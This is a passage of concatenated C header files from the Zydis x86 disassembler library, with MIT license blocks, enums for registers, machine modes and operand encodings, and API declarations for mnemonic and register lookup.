ZYDIS_EXPORT const char* ZydisISAExtGetString(ZydisISAExt isa_ext);
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_METAINFO_H */

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Theodosius/Zydis/Mnemonic.h
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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Mnemonic constant definitions and helper functions.
*/
#ifndef ZYDIS_MNEMONIC_H
#define ZYDIS_MNEMONIC_H
#include <Zycore/Types.h>
#include <Zydis/ShortString.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
#include <Zydis/Generated/EnumMnemonic.h>
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* @addtogroup mnemonic Mnemonic
* Functions for retrieving mnemonic names.
* @{
*/
/**
* Returns the specified instruction mnemonic string.
*
* @param mnemonic The mnemonic.
*
* @return The instruction mnemonic string or `ZYAN_NULL`, if an invalid mnemonic was passed.
*/
ZYDIS_EXPORT const char* ZydisMnemonicGetString(ZydisMnemonic mnemonic);
/**
* Returns the specified instruction mnemonic as `ZydisShortString`.
*
* @param mnemonic The mnemonic.
*
* @return The instruction mnemonic string or `ZYAN_NULL`, if an invalid mnemonic was passed.
*
* The `buffer` of the returned struct is guaranteed to be zero-terminated in this special case.
*/
ZYDIS_EXPORT const ZydisShortString* ZydisMnemonicGetStringWrapped(ZydisMnemonic mnemonic);
/**
* @}
*/
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_MNEMONIC_H */

293
Theodosius/Zydis/Register.h
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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Utility functions and constants for registers.
*/
#ifndef ZYDIS_REGISTER_H
#define ZYDIS_REGISTER_H
#include <Zycore/Defines.h>
#include <Zycore/Types.h>
#include <Zydis/SharedTypes.h>
#include <Zydis/ShortString.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Registers */
/* ---------------------------------------------------------------------------------------------- */
#include <Zydis/Generated/EnumRegister.h>
/* ---------------------------------------------------------------------------------------------- */
/* Register classes */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisRegisterClass` enum.
*
* Please note that this enum does not contain a matching entry for all values of the
* `ZydisRegister` enum, but only for those registers where it makes sense to logically group them
* for decoding/encoding purposes.
*
* These are mainly the registers that can be identified by an id within their corresponding
* register-class. The `IP` and `FLAGS` values are exceptions to this rule.
*/
typedef enum ZydisRegisterClass_
{
ZYDIS_REGCLASS_INVALID,
/**
* 8-bit general-purpose registers.
*/
ZYDIS_REGCLASS_GPR8,
/**
* 16-bit general-purpose registers.
*/
ZYDIS_REGCLASS_GPR16,
/**
* 32-bit general-purpose registers.
*/
ZYDIS_REGCLASS_GPR32,
/**
* 64-bit general-purpose registers.
*/
ZYDIS_REGCLASS_GPR64,
/**
* Floating point legacy registers.
*/
ZYDIS_REGCLASS_X87,
/**
* Floating point multimedia registers.
*/
ZYDIS_REGCLASS_MMX,
/**
* 128-bit vector registers.
*/
ZYDIS_REGCLASS_XMM,
/**
* 256-bit vector registers.
*/
ZYDIS_REGCLASS_YMM,
/**
* 512-bit vector registers.
*/
ZYDIS_REGCLASS_ZMM,
/**
* Matrix registers.
*/
ZYDIS_REGCLASS_TMM,
/*
* Flags registers.
*/
ZYDIS_REGCLASS_FLAGS,
/**
* Instruction-pointer registers.
*/
ZYDIS_REGCLASS_IP,
/**
* Segment registers.
*/
ZYDIS_REGCLASS_SEGMENT,
/**
* Test registers.
*/
ZYDIS_REGCLASS_TEST,
/**
* Control registers.
*/
ZYDIS_REGCLASS_CONTROL,
/**
* Debug registers.
*/
ZYDIS_REGCLASS_DEBUG,
/**
* Mask registers.
*/
ZYDIS_REGCLASS_MASK,
/**
* Bound registers.
*/
ZYDIS_REGCLASS_BOUND,
/**
* Maximum value of this enum.
*/
ZYDIS_REGCLASS_MAX_VALUE = ZYDIS_REGCLASS_BOUND,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_REGCLASS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REGCLASS_MAX_VALUE)
} ZydisRegisterClass;
/* ---------------------------------------------------------------------------------------------- */
/* Register width */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisRegisterWidth` data-type.
*/
typedef ZyanU16 ZydisRegisterWidth;
/* ---------------------------------------------------------------------------------------------- */
/* Register context */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisRegisterContext` struct.
*/
typedef struct ZydisRegisterContext_
{
/**
* The values stored in the register context.
*/
ZyanU64 values[ZYDIS_REGISTER_MAX_VALUE + 1];
} ZydisRegisterContext;
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* @addtogroup register Register
* Functions allowing retrieval of information about registers.
* @{
*/
/* ---------------------------------------------------------------------------------------------- */
/* Register */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the register specified by the `register_class` and `id` tuple.
*
* @param register_class The register class.
* @param id The register id.
*
* @return The register specified by the `register_class` and `id` tuple or `ZYDIS_REGISTER_NONE`,
* if an invalid parameter was passed.
*/
ZYDIS_EXPORT ZydisRegister ZydisRegisterEncode(ZydisRegisterClass register_class, ZyanU8 id);
/**
* Returns the id of the specified register.
*
* @param reg The register.
*
* @return The id of the specified register, or -1 if an invalid parameter was passed.
*/
ZYDIS_EXPORT ZyanI8 ZydisRegisterGetId(ZydisRegister reg);
/**
* Returns the register-class of the specified register.
*
* @param reg The register.
*
* @return The register-class of the specified register.
*/
ZYDIS_EXPORT ZydisRegisterClass ZydisRegisterGetClass(ZydisRegister reg);
/**
* Returns the width of the specified register.
*
* @param mode The active machine mode.
* @param reg The register.
*
* @return The width of the specified register, or `ZYDIS_REGISTER_NONE` if the register is
* invalid for the active machine-mode.
*/
ZYDIS_EXPORT ZydisRegisterWidth ZydisRegisterGetWidth(ZydisMachineMode mode, ZydisRegister reg);
/**
* Returns the largest enclosing register of the given register.
*
* @param mode The active machine mode.
* @param reg The register.
*
* @return The largest enclosing register of the given register, or `ZYDIS_REGISTER_NONE` if the
* register is invalid for the active machine-mode or does not have an enclosing-register.
*/
ZYDIS_EXPORT ZydisRegister ZydisRegisterGetLargestEnclosing(ZydisMachineMode mode,
ZydisRegister reg);
/**
* Returns the specified register string.
*
* @param reg The register.
*
* @return The register string or `ZYAN_NULL`, if an invalid register was passed.
*/
ZYDIS_EXPORT const char* ZydisRegisterGetString(ZydisRegister reg);
/**
* Returns the specified register string as `ZydisShortString`.
*
* @param reg The register.
*
* @return The register string or `ZYAN_NULL`, if an invalid register was passed.
*
* The `buffer` of the returned struct is guaranteed to be zero-terminated in this special case.
*/
ZYDIS_EXPORT const ZydisShortString* ZydisRegisterGetStringWrapped(ZydisRegister reg);
/* ---------------------------------------------------------------------------------------------- */
/* Register class */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the width of the specified register-class.
*
* @param mode The active machine mode.
* @param register_class The register class.
*
* @return The width of the specified register.
*/
ZYDIS_EXPORT ZydisRegisterWidth ZydisRegisterClassGetWidth(ZydisMachineMode mode,
ZydisRegisterClass register_class);
/* ---------------------------------------------------------------------------------------------- */
/**
* @}
*/
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_REGISTER_H */

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Defines decoder/encoder-shared macros and types.
*/
#ifndef ZYDIS_SHAREDTYPES_H
#define ZYDIS_SHAREDTYPES_H
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Constants */
/* ---------------------------------------------------------------------------------------------- */
#define ZYDIS_MAX_INSTRUCTION_LENGTH 15
#define ZYDIS_MAX_OPERAND_COUNT 10
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Machine mode */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisMachineMode` enum.
*/
typedef enum ZydisMachineMode_
{
/**
* 64 bit mode.
*/
ZYDIS_MACHINE_MODE_LONG_64,
/**
* 32 bit protected mode.
*/
ZYDIS_MACHINE_MODE_LONG_COMPAT_32,
/**
* 16 bit protected mode.
*/
ZYDIS_MACHINE_MODE_LONG_COMPAT_16,
/**
* 32 bit protected mode.
*/
ZYDIS_MACHINE_MODE_LEGACY_32,
/**
* 16 bit protected mode.
*/
ZYDIS_MACHINE_MODE_LEGACY_16,
/**
* 16 bit real mode.
*/
ZYDIS_MACHINE_MODE_REAL_16,
/**
* Maximum value of this enum.
*/
ZYDIS_MACHINE_MODE_MAX_VALUE = ZYDIS_MACHINE_MODE_REAL_16,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_MACHINE_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MACHINE_MODE_MAX_VALUE)
} ZydisMachineMode;
/* ---------------------------------------------------------------------------------------------- */
/* Address width */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisAddressWidth` enum.
*/
typedef enum ZydisAddressWidth_
{
ZYDIS_ADDRESS_WIDTH_16,
ZYDIS_ADDRESS_WIDTH_32,
ZYDIS_ADDRESS_WIDTH_64,
/**
* Maximum value of this enum.
*/
ZYDIS_ADDRESS_WIDTH_MAX_VALUE = ZYDIS_ADDRESS_WIDTH_64,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_ADDRESS_WIDTH_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ADDRESS_WIDTH_MAX_VALUE)
} ZydisAddressWidth;
/* ---------------------------------------------------------------------------------------------- */
/* Element type */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisElementType` enum.
*/
typedef enum ZydisElementType_
{
ZYDIS_ELEMENT_TYPE_INVALID,
/**
* A struct type.
*/
ZYDIS_ELEMENT_TYPE_STRUCT,
/**
* Unsigned integer value.
*/
ZYDIS_ELEMENT_TYPE_UINT,
/**
* Signed integer value.
*/
ZYDIS_ELEMENT_TYPE_INT,
/**
* 16-bit floating point value (`half`).
*/
ZYDIS_ELEMENT_TYPE_FLOAT16,
/**
* 32-bit floating point value (`single`).
*/
ZYDIS_ELEMENT_TYPE_FLOAT32,
/**
* 64-bit floating point value (`double`).
*/
ZYDIS_ELEMENT_TYPE_FLOAT64,
/**
* 80-bit floating point value (`extended`).
*/
ZYDIS_ELEMENT_TYPE_FLOAT80,
/**
* Binary coded decimal value.
*/
ZYDIS_ELEMENT_TYPE_LONGBCD,
/**
* A condition code (e.g. used by `CMPPD`, `VCMPPD`, ...).
*/
ZYDIS_ELEMENT_TYPE_CC,
/**
* Maximum value of this enum.
*/
ZYDIS_ELEMENT_TYPE_MAX_VALUE = ZYDIS_ELEMENT_TYPE_CC,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_ELEMENT_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ELEMENT_TYPE_MAX_VALUE)
} ZydisElementType;
/* ---------------------------------------------------------------------------------------------- */
/* Element size */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisElementSize` datatype.
*/
typedef ZyanU16 ZydisElementSize;
/* ---------------------------------------------------------------------------------------------- */
/* Operand type */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisOperandType` enum.
*/
typedef enum ZydisOperandType_
{
/**
* The operand is not used.
*/
ZYDIS_OPERAND_TYPE_UNUSED,
/**
* The operand is a register operand.
*/
ZYDIS_OPERAND_TYPE_REGISTER,
/**
* The operand is a memory operand.
*/
ZYDIS_OPERAND_TYPE_MEMORY,
/**
* The operand is a pointer operand with a segment:offset lvalue.
*/
ZYDIS_OPERAND_TYPE_POINTER,
/**
* The operand is an immediate operand.
*/
ZYDIS_OPERAND_TYPE_IMMEDIATE,
/**
* Maximum value of this enum.
*/
ZYDIS_OPERAND_TYPE_MAX_VALUE = ZYDIS_OPERAND_TYPE_IMMEDIATE,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_OPERAND_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_TYPE_MAX_VALUE)
} ZydisOperandType;
/* ---------------------------------------------------------------------------------------------- */
/* Operand encoding */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisOperandEncoding` enum.
*/
typedef enum ZydisOperandEncoding_
{
ZYDIS_OPERAND_ENCODING_NONE,
ZYDIS_OPERAND_ENCODING_MODRM_REG,
ZYDIS_OPERAND_ENCODING_MODRM_RM,
ZYDIS_OPERAND_ENCODING_OPCODE,
ZYDIS_OPERAND_ENCODING_NDSNDD,
ZYDIS_OPERAND_ENCODING_IS4,
ZYDIS_OPERAND_ENCODING_MASK,
ZYDIS_OPERAND_ENCODING_DISP8,
ZYDIS_OPERAND_ENCODING_DISP16,
ZYDIS_OPERAND_ENCODING_DISP32,
ZYDIS_OPERAND_ENCODING_DISP64,
ZYDIS_OPERAND_ENCODING_DISP16_32_64,
ZYDIS_OPERAND_ENCODING_DISP32_32_64,
ZYDIS_OPERAND_ENCODING_DISP16_32_32,
ZYDIS_OPERAND_ENCODING_UIMM8,
ZYDIS_OPERAND_ENCODING_UIMM16,
ZYDIS_OPERAND_ENCODING_UIMM32,
ZYDIS_OPERAND_ENCODING_UIMM64,
ZYDIS_OPERAND_ENCODING_UIMM16_32_64,
ZYDIS_OPERAND_ENCODING_UIMM32_32_64,
ZYDIS_OPERAND_ENCODING_UIMM16_32_32,
ZYDIS_OPERAND_ENCODING_SIMM8,
ZYDIS_OPERAND_ENCODING_SIMM16,
ZYDIS_OPERAND_ENCODING_SIMM32,
ZYDIS_OPERAND_ENCODING_SIMM64,
ZYDIS_OPERAND_ENCODING_SIMM16_32_64,
ZYDIS_OPERAND_ENCODING_SIMM32_32_64,
ZYDIS_OPERAND_ENCODING_SIMM16_32_32,
ZYDIS_OPERAND_ENCODING_JIMM8,
ZYDIS_OPERAND_ENCODING_JIMM16,
ZYDIS_OPERAND_ENCODING_JIMM32,
ZYDIS_OPERAND_ENCODING_JIMM64,
ZYDIS_OPERAND_ENCODING_JIMM16_32_64,
ZYDIS_OPERAND_ENCODING_JIMM32_32_64,
ZYDIS_OPERAND_ENCODING_JIMM16_32_32,
/**
* Maximum value of this enum.
*/
ZYDIS_OPERAND_ENCODING_MAX_VALUE = ZYDIS_OPERAND_ENCODING_JIMM16_32_32,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_OPERAND_ENCODING_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_ENCODING_MAX_VALUE)
} ZydisOperandEncoding;
/* ---------------------------------------------------------------------------------------------- */
/* Operand visibility */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisOperandVisibility` enum.
*/
typedef enum ZydisOperandVisibility_
{
ZYDIS_OPERAND_VISIBILITY_INVALID,
/**
* The operand is explicitly encoded in the instruction.
*/
ZYDIS_OPERAND_VISIBILITY_EXPLICIT,
/**
* The operand is part of the opcode, but listed as an operand.
*/
ZYDIS_OPERAND_VISIBILITY_IMPLICIT,
/**
* The operand is part of the opcode, and not typically listed as an operand.
*/
ZYDIS_OPERAND_VISIBILITY_HIDDEN,
/**
* Maximum value of this enum.
*/
ZYDIS_OPERAND_VISIBILITY_MAX_VALUE = ZYDIS_OPERAND_VISIBILITY_HIDDEN,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS =
ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_VISIBILITY_MAX_VALUE)
} ZydisOperandVisibility;
/* ---------------------------------------------------------------------------------------------- */
/* Operand action */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisOperandAction` enum.
*/
typedef enum ZydisOperandAction_
{
/* ------------------------------------------------------------------------------------------ */
/* Elemental actions */
/* ------------------------------------------------------------------------------------------ */
/**
* The operand is read by the instruction.
*/
ZYDIS_OPERAND_ACTION_READ = 0x01,
/**
* The operand is written by the instruction (must write).
*/
ZYDIS_OPERAND_ACTION_WRITE = 0x02,
/**
* The operand is conditionally read by the instruction.
*/
ZYDIS_OPERAND_ACTION_CONDREAD = 0x04,
/**
* The operand is conditionally written by the instruction (may write).
*/
ZYDIS_OPERAND_ACTION_CONDWRITE = 0x08,
/* ------------------------------------------------------------------------------------------ */
/* Combined actions */
/* ------------------------------------------------------------------------------------------ */
/**
* The operand is read (must read) and written by the instruction (must write).
*/
ZYDIS_OPERAND_ACTION_READWRITE = ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_WRITE,
/**
* The operand is conditionally read (may read) and conditionally written by
* the instruction (may write).
*/
ZYDIS_OPERAND_ACTION_CONDREAD_CONDWRITE =
ZYDIS_OPERAND_ACTION_CONDREAD | ZYDIS_OPERAND_ACTION_CONDWRITE,
/**
* The operand is read (must read) and conditionally written by the
* instruction (may write).
*/
ZYDIS_OPERAND_ACTION_READ_CONDWRITE =
ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_CONDWRITE,
/**
* The operand is written (must write) and conditionally read by the
* instruction (may read).
*/
ZYDIS_OPERAND_ACTION_CONDREAD_WRITE =
ZYDIS_OPERAND_ACTION_CONDREAD | ZYDIS_OPERAND_ACTION_WRITE,
/**
* Mask combining all reading access flags.
*/
ZYDIS_OPERAND_ACTION_MASK_READ = ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_CONDREAD,
/**
* Mask combining all writing access flags.
*/
ZYDIS_OPERAND_ACTION_MASK_WRITE = ZYDIS_OPERAND_ACTION_WRITE | ZYDIS_OPERAND_ACTION_CONDWRITE,
/* ------------------------------------------------------------------------------------------ */
/**
* The minimum number of bits required to represent all values of this bitset.
*/
ZYDIS_OPERAND_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_ACTION_CONDWRITE)
} ZydisOperandAction;
/**
* Defines the `ZydisOperandActions` data-type.
*/
typedef ZyanU8 ZydisOperandActions;
/* ---------------------------------------------------------------------------------------------- */
/* Instruction encoding */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisInstructionEncoding` enum.
*/
typedef enum ZydisInstructionEncoding_
{
/**
* The instruction uses the legacy encoding.
*/
ZYDIS_INSTRUCTION_ENCODING_LEGACY,
/**
* The instruction uses the AMD 3DNow-encoding.
*/
ZYDIS_INSTRUCTION_ENCODING_3DNOW,
/**
* The instruction uses the AMD XOP-encoding.
*/
ZYDIS_INSTRUCTION_ENCODING_XOP,
/**
* The instruction uses the VEX-encoding.
*/
ZYDIS_INSTRUCTION_ENCODING_VEX,
/**
* The instruction uses the EVEX-encoding.
*/
ZYDIS_INSTRUCTION_ENCODING_EVEX,
/**
* The instruction uses the MVEX-encoding.
*/
ZYDIS_INSTRUCTION_ENCODING_MVEX,
/**
* Maximum value of this enum.
*/
ZYDIS_INSTRUCTION_ENCODING_MAX_VALUE = ZYDIS_INSTRUCTION_ENCODING_MVEX,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_INSTRUCTION_ENCODING_REQUIRED_BITS =
ZYAN_BITS_TO_REPRESENT(ZYDIS_INSTRUCTION_ENCODING_MAX_VALUE)
} ZydisInstructionEncoding;
/* ---------------------------------------------------------------------------------------------- */
/* Opcode map */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisOpcodeMap` enum.
*/
typedef enum ZydisOpcodeMap_
{
ZYDIS_OPCODE_MAP_DEFAULT,
ZYDIS_OPCODE_MAP_0F,
ZYDIS_OPCODE_MAP_0F38,
ZYDIS_OPCODE_MAP_0F3A,
ZYDIS_OPCODE_MAP_0F0F,
ZYDIS_OPCODE_MAP_XOP8,
ZYDIS_OPCODE_MAP_XOP9,
ZYDIS_OPCODE_MAP_XOPA,
/**
* Maximum value of this enum.
*/
ZYDIS_OPCODE_MAP_MAX_VALUE = ZYDIS_OPCODE_MAP_XOPA,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_OPCODE_MAP_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPCODE_MAP_MAX_VALUE)
} ZydisOpcodeMap;
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_SHAREDTYPES_H */

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Defines the immutable and storage-efficient `ZydisShortString` struct, which
* is used to store strings in the generated tables.
*/
#ifndef ZYDIS_SHORTSTRING_H
#define ZYDIS_SHORTSTRING_H
#include <ZydisExportConfig.h>
#include <Zycore/Defines.h>
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
#pragma pack(push, 1)
/**
* Defines the `ZydisShortString` struct.
*
* This compact struct is mainly used for internal string-tables to save up some bytes.
*
* All fields in this struct should be considered as "private". Any changes may lead to unexpected
* behavior.
*/
typedef struct ZydisShortString_
{
/**
* The buffer that contains the actual (null-terminated) string.
*/
const char* data;
/**
* The length (number of characters) of the string (without 0-termination).
*/
ZyanU8 size;
} ZydisShortString;
#pragma pack(pop)
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/**
* Declares a `ZydisShortString` from a static C-style string.
*
* @param string The C-string constant.
*/
#define ZYDIS_MAKE_SHORTSTRING(string) \
{ string, sizeof(string) - 1 }
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_SHORTSTRING_H */

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Status code definitions and check macros.
*/
#ifndef ZYDIS_STATUS_H
#define ZYDIS_STATUS_H
#include <Zycore/Status.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Status codes */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Module IDs */
/* ---------------------------------------------------------------------------------------------- */
/**
* The zydis module id.
*/
#define ZYAN_MODULE_ZYDIS 0x002u
/* ---------------------------------------------------------------------------------------------- */
/* Status codes */
/* ---------------------------------------------------------------------------------------------- */
/* ---------------------------------------------------------------------------------------------- */
/* Decoder */
/* ---------------------------------------------------------------------------------------------- */
/**
* An attempt was made to read data from an input data-source that has no more
* data available.
*/
#define ZYDIS_STATUS_NO_MORE_DATA \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x00u)
/**
* An general error occured while decoding the current instruction. The
* instruction might be undefined.
*/
#define ZYDIS_STATUS_DECODING_ERROR \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x01u)
/**
* The instruction exceeded the maximum length of 15 bytes.
*/
#define ZYDIS_STATUS_INSTRUCTION_TOO_LONG \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x02u)
/**
* The instruction encoded an invalid register.
*/
#define ZYDIS_STATUS_BAD_REGISTER \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x03u)
/**
* A lock-prefix (F0) was found while decoding an instruction that does not
* support locking.
*/
#define ZYDIS_STATUS_ILLEGAL_LOCK \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x04u)
/**
* A legacy-prefix (F2, F3, 66) was found while decoding a XOP/VEX/EVEX/MVEX
* instruction.
*/
#define ZYDIS_STATUS_ILLEGAL_LEGACY_PFX \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x05u)
/**
* A rex-prefix was found while decoding a XOP/VEX/EVEX/MVEX instruction.
*/
#define ZYDIS_STATUS_ILLEGAL_REX \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x06u)
/**
* An invalid opcode-map value was found while decoding a XOP/VEX/EVEX/MVEX-prefix.
*/
#define ZYDIS_STATUS_INVALID_MAP \
ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x07u)
/**
* An error occured while decoding the EVEX-prefix.
*/
